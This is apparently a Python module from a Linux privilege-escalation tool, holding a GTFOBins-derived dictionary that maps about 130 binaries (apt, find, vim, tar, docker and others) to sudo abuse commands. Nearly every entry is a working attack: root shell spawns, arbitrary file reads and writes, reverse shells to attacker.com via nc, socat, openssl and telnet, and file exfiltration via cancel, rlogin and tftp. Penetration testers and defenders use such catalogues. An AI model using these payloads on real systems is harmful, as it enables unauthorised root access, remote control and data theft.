#!/usr/bin/env python
# -*- coding: utf-8 -*-


class GTFOBins:
    """
    Binaries that allow to execute commands from it.
    If run with higher privilege (suid / cron / ...) could be used to elevate our privilege
    http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
    https://chryzsh.gitbooks.io/pentestbook/privilege_escalation_-_linux.html#abusing-sudo-rights
    http://touhidshaikh.com/blog/?p=790
    """

    def __init__(self):
        """
        List taken from GTFOBins:
        https://gtfobins.github.io/#
        """

        self.binaries = {
            "apt": "sudo apt-get changelog apt\n!/bin/sh\n\n----TF=$(mktemp)\necho 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' > $TF\nsudo apt install -c $TF sl\n\n----sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh\n----", 
            "apt-get": "sudo apt-get changelog apt\n!/bin/sh\n\n----TF=$(mktemp)\necho 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' > $TF\nsudo apt-get install -c $TF sl\n\n----sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh\n----", 
            "aria2c": "COMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\nsudo aria2c --on-download-error=$TF http://x\n\n", 
            "arp": "LFILE=file_to_read\nsudo arp -v -f \"$LFILE\"\n\n", 
            "ash": "sudo ash\n", 
            "awk": "sudo awk 'BEGIN {system(\"/bin/sh\")}'\n", 
            "base64": "LFILE=file_to_read\nsudo base64 \"$LFILE\" | base64 --decode\n\n", 
            "bash": "sudo bash\n", 
            "busybox": "sudo busybox sh\n", 
            "cancel": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_send\ncancel -u \"$(cat $LFILE)\" -h $RHOST:$RPORT\n\n", 
            "cat": "LFILE=file_to_read\nsudo cat \"$LFILE\"\n\n", 
            "chmod": "LFILE=file_to_change\nsudo chmod 0777 $LFILE\n\n", 
            "chown": "LFILE=file_to_change\nsudo chown $(id -un):$(id -gn) $LFILE\n\n", 
            "cp": "LFILE=file_to_write\nTF=$(mktemp)\necho \"DATA\" > $TF\nsudo cp $TF $LFILE\n\n", 
            "cpan": "sudo cpan\n! exec '/bin/bash'\n\n", 
            "cpulimit": "sudo cpulimit -l 100 -f /bin/sh\n", 
            "crontab": "sudo crontab -e\n", 
            "csh": "sudo csh\n", 
            "curl": "URL=http://attacker.com/file_to_get\nLFILE=file_to_save\nsudo -E curl $URL -o $LFILE\n\n", 
            "cut": "LFILE=file_to_read\nsudo cut -d \"\" -f1 \"$LFILE\"\n\n", 
            "dash": "sudo dash\n", 
            "date": "LFILE=file_to_read\nsudo date -f $LFILE\n\n", 
            "dd": "LFILE=file_to_write\necho \"data\" | sudo -E dd of=$LFILE\n\n", 
            "diff": "LFILE=file_to_read\nsudo diff --line-format=%L /dev/null $LFILE\n\n", 
            "dmesg": "sudo dmesg -H\n!/bin/sh\n\n", 
            "dmsetup": "sudo dmsetup create base <<EOF\n0 3534848 linear /dev/loop0 94208\nEOF\nsudo dmsetup ls --exec '/bin/sh -s'\n\n", 
            "dnf": "sudo dnf install -y x-1.0-1.noarch.rpm\n\n", 
            "docker": "sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh\n", 
            "dpkg": "sudo dpkg -i x_1.0_all.deb\n", 
            "easy_install": "TF=$(mktemp -d)\necho \"import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py\nsudo easy_install $TF\n\n", 
            "ed": "sudo ed\n!/bin/sh\n\n", 
            "emacs": "sudo emacs -Q -nw --eval '(term \"/bin/sh\")'\n", 
            "env": "sudo env /bin/sh\n", 
            "expand": "LFILE=file_to_read\nsudo expand \"$LFILE\"\n\n", 
            "expect": "sudo expect -c 'spawn /bin/sh;interact'\n", 
            "facter": "TF=$(mktemp -d)\necho 'exec(\"/bin/sh\")' > $TF/x.rb\nFACTERLIB=$TF sudo -E facter\n\n", 
            "file": "LFILE=file_to_read\nsudo file -m $LFILE\n\n", 
            "find": "sudo find . -exec /bin/sh \\; -quit\n", 
            "finger": "RHOST=attacker.com\nLFILE=file_to_save\nfinger x@$RHOST | base64 -d > \"$LFILE\"\n\n", 
            "flock": "sudo flock -u / /bin/sh\n", 
            "fmt": "LFILE=file_to_read\nsudo fmt -pNON_EXISTING_PREFIX \"$LFILE\"\n\n", 
            "fold": "LFILE=file_to_read\nsudo fold -w99999999 \"$LFILE\"\n\n", 
            "ftp": "sudo ftp\n!/bin/sh\n\n", 
            "gdb": "sudo gdb -nx -ex '!sh' -ex quit\n", 
            "gimp": "sudo gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.system(\"sh\")'\n", 
            "git": "PAGER='sh -c \"exec sh 0<&1\"' sudo -E git -p help\n----sudo git -p help config\n!/bin/sh\n\n----", 
            "grep": "LFILE=file_to_read\nsudo grep '' $LFILE\n\n", 
            "head": "LFILE=file_to_read\nsudo head -c1G \"$LFILE\"\n\n", 
            "ionice": "sudo ionice /bin/sh\n", 
            "ip": "LFILE=file_to_read\nsudo ip -force -batch \"$LFILE\"\n\n----sudo ip netns add foo\nsudo ip netns exec foo /bin/sh\nsudo ip netns delete foo\n\n----", 
            "irb": "sudo irb\nexec '/bin/bash'\n\n", 
            "jjs": "echo \"Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \\$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()\" | sudo jjs\n", 
            "journalctl": "sudo journalctl\n!/bin/sh\n\n", 
            "jq": "LFILE=file_to_read\nsudo jq -Rr . \"$LFILE\"\n\n", 
            "jrunscript": "sudo jrunscript -e \"exec('/bin/sh -c \\$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')\"\n", 
            "ksh": "sudo ksh\n", 
            "ld.so": "sudo /lib/ld.so /bin/sh\n", 
            "ldconfig": "TF=$(mktemp -d)\necho \"$TF\" > \"$TF/conf\"\n# move malicious libraries in $TF\nsudo ldconfig -f \"$TF/conf\"\n\n", 
            "less": "sudo less /etc/profile\n!/bin/sh\n\n", 
            "logsave": "sudo logsave /dev/null /bin/sh -i\n", 
            "ltrace": "sudo ltrace -b -L /bin/sh\n", 
            "lua": "sudo lua -e 'os.execute(\"/bin/sh\")'\n", 
            "mail": "sudo mail --exec='!/bin/sh'\n", 
            "make": "COMMAND='/bin/sh'\nsudo make -s --eval=$'x:\\n\\t-'\"$COMMAND\"\n\n", 
            "man": "sudo man man\n!/bin/sh\n\n", 
            "more": "TERM= sudo -E more /etc/profile\n!/bin/sh\n\n", 
            "mount": "sudo mount -o bind /bin/sh /bin/mount\nsudo mount\n\n", 
            "mtr": "LFILE=file_to_read\nsudo mtr --raw -F \"$LFILE\"\n\n", 
            "mv": "LFILE=file_to_write\nTF=$(mktemp)\necho \"DATA\" > $TF\nsudo mv $TF $LFILE\n\n", 
            "mysql": "sudo mysql -e '\\! /bin/sh'\n", 
            "nano": "sudo nano\n^R^X\nreset; sh 1>&0 2>&0\n\n", 
            "nc": "RHOST=attacker.com\nRPORT=12345\nsudo nc -e /bin/sh $RHOST $RPORT\n\n", 
            "nice": "sudo nice /bin/sh\n", 
            "nl": "LFILE=file_to_read\nsudo nl -bn -w1 -s '' $LFILE\n\n", 
            "nmap": "TF=$(mktemp)\necho 'os.execute(\"/bin/sh\")' > $TF\nsudo nmap --script=$TF\n\n----sudo nmap --interactive\nnmap> !sh\n\n----", 
            "node": "sudo node -e 'require(\"child_process\").spawn(\"/bin/sh\", {stdio: [0, 1, 2]});'\n\n", 
            "od": "LFILE=file_to_read\nsudo od -An -c -w9999 \"$LFILE\"\n\n", 
            "openssl": "RHOST=attacker.com\nRPORT=12345\nmkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | sudo openssl s_client -quiet -no_ign_eof -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s\n\n", 
            "perl": "sudo perl -e 'exec \"/bin/sh\";'\n", 
            "pg": "sudo pg /etc/profile\n!/bin/sh\n\n", 
            "php": "CMD=\"/bin/sh\"\nsudo php -r \"system('$CMD');\"\n\n", 
            "pic": "sudo pic -U\n.PS\nsh X sh X\n\n", 
            "pico": "sudo pico\n^R^X\nreset; sh 1>&0 2>&0\n\n", 
            "pip": "TF=$(mktemp -d)\necho \"import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py\nsudo pip install $TF\n\n", 
            "puppet": "sudo puppet apply -e \"exec { '/bin/sh -c \\\"exec sh -i <$(tty) >$(tty) 2>$(tty)\\\"': }\"\n\n", 
            "python": "sudo python -c 'import os; os.system(\"/bin/sh\")'\n", 
            "readelf": "LFILE=file_to_read\nsudo readelf -a @$LFILE\n\n", 
            "red": "sudo red file_to_write\na\nDATA\n.\nw\nq\n\n", 
            "rlogin": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_send\nrlogin -l \"$(cat $LFILE)\" -p $RPORT $RHOST\n\n", 
            "rlwrap": "sudo rlwrap /bin/sh\n", 
            "rpm": "sudo rpm --eval '%{lua:os.execute(\"/bin/sh\")}'\n----sudo rpm -ivh x-1.0-1.noarch.rpm\n\n----", 
            "rpmquery": "sudo rpmquery --eval '%{lua:posix.exec(\"/bin/sh\")}'\n", 
            "rsync": "sudo rsync -e 'sh -c \"sh 0<&2 1>&2\"' 127.0.0.1:/dev/null\n", 
            "ruby": "sudo ruby -e 'exec \"/bin/sh\"'\n", 
            "run-mailcap": "sudo run-mailcap --action=view /etc/hosts\n!/bin/sh\n\n", 
            "run-parts": "sudo run-parts --new-session --regex '^sh$' /bin\n", 
            "rvim": "sudo rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n----sudo rvim -c ':lua os.execute(\"reset; exec sh\")'\n----", 
            "scp": "TF=$(mktemp)\necho 'sh 0<&2 1>&2' > $TF\nchmod +x \"$TF\"\nsudo scp -S $TF x y:\n\n", 
            "screen": "sudo screen\n", 
            "script": "sudo ./script -q /dev/null\n", 
            "sed": "sudo sed -n '1e exec sh 1>&0' /etc/hosts\n", 
            "service": "sudo service ../../bin/sh\n", 
            "setarch": "sudo setarch $(arch) /bin/sh\n", 
            "sftp": "HOST=user@attacker.com\nsudo sftp $HOST\n!/bin/sh\n\n", 
            "shuf": "LFILE=file_to_write\nshuf -e DATA -o \"$LFILE\"\n\n", 
            "smbclient": "sudo smbclient '\\\\attacker\\share'\n!/bin/sh\n\n", 
            "socat": "RHOST=attacker.com\nRPORT=12345\nsudo -E socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane\n\n", 
            "sort": "LFILE=file_to_read\nsudo sort -m \"$LFILE\"\n\n", 
            "sqlite3": "sudo sqlite3 /dev/null '.shell /bin/sh'\n", 
            "ssh": "sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x\n", 
            "start-stop-daemon": "sudo start-stop-daemon -n $RANDOM -S -x /bin/sh\n", 
            "stdbuf": "sudo stdbuf -i0 /bin/sh\n", 
            "strace": "sudo strace -o /dev/null /bin/sh\n", 
            "systemctl": "TF=$(mktemp)\necho /bin/sh >$TF\nchmod +x $TF\nsudo SYSTEMD_EDITOR=$TF systemctl edit system.slice\n\n----TF=$(mktemp).service\necho '[Service]\nType=oneshot\nExecStart=/bin/sh -c \"id > /tmp/output\"\n[Install]\nWantedBy=multi-user.target' > $TF\nsudo systemctl link $TF\nsudo systemctl enable --now $TF\n\n----sudo systemctl\n!sh\n\n----", 
            "tail": "LFILE=file_to_read\nsudo tail -c1G \"$LFILE\"\n\n", 
            "tar": "sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh\n", 
            "taskset": "sudo taskset 1 /bin/sh\n", 
            "tclsh": "sudo tclsh\nexec /bin/sh <@stdin >@stdout 2>@stderr\n\n", 
            "tcpdump": "COMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\nsudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF\n\n", 
            "tee": "LFILE=file_to_write\necho DATA | sudo tee -a \"$LFILE\"\n\n", 
            "telnet": "RHOST=attacker.com\nRPORT=12345\nsudo telnet $RHOST $RPORT\n^]\n!/bin/sh\n\n", 
            "tftp": "RHOST=attacker.com\nsudo -E tftp $RHOST\nput file_to_send\n\n", 
            "time": "sudo /usr/bin/time /bin/sh\n", 
            "timeout": "sudo timeout --foreground 7d /bin/sh\n", 
            "tmux": "sudo tmux\n", 
            "ul": "LFILE=file_to_read\nsudo ul \"$LFILE\"\n\n", 
            "unexpand": "LFILE=file_to_read\nsudo unexpand -t99999999 \"$LFILE\"\n\n", 
            "uniq": "LFILE=file_to_read\nsudo uniq \"$LFILE\"\n\n", 
            "unshare": "sudo unshare /bin/sh\n", 
            "vi": "sudo vi -c ':!/bin/sh' /dev/null\n", 
            "vim": "sudo vim -c ':!/bin/sh'\n----sudo vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n----sudo vim -c ':lua os.execute(\"reset; exec sh\")'\n----", 
            "watch": "sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'\n", 
            "wget": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\nsudo -E wget $URL -O $LFILE\n\n", 
            "whois": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_save\nwhois -h $RHOST -p $RPORT > \"$LFILE\"\n\n----RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_save\nwhois -h $RHOST -p $RPORT | base64 -d > \"$LFILE\"\n\n----", 
            "wish": "sudo wish\nexec /bin/sh <@stdin >@stdout 2>@stderr\n\n", 
            "xargs": "sudo xargs -a /dev/null sh\n", 
            "xxd": "LFILE=file_to_read\nsudo xxd \"$LFILE\" | xxd -r\n\n", 
            "yum": "sudo yum localinstall -y x-1.0-1.noarch.rpm\n\n----TF=$(mktemp -d)\ncat >$TF/x<<EOF\n[main]\nplugins=1\npluginpath=$TF\npluginconfpath=$TF\nEOF\n\ncat >$TF/y.conf<<EOF\n[main]\nenabled=1\nEOF\n\ncat >$TF/y.py<<EOF\nimport os\nimport yum\nfrom yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE\nrequires_api_version='2.1'\ndef init_hook(conduit):\n  os.execl('/bin/sh','/bin/sh')\nEOF\n\nsudo yum -c $TF/x --enableplugin=y\n\n----", 
            "zip": "TF=$(mktemp -u)\nsudo zip $TF /etc/hosts -T -TT 'sh #'\nsudo rm $TF\n\n", 
            "zsh": "sudo zsh\n", 
            "zypper": "sudo zypper x\n\n----TF=$(mktemp -d)\ncp /bin/sh $TF/zypper-x\nexport PATH=$TF:$PATH\nsudo -E zypper x\n\n----"
        }

    def find_binary(self, binary):
        """
        Found the associated command line to execute system code using the binary
        """
        for b in self.binaries:
            if b == binary.lower():
                return self.binaries[b]
        return False
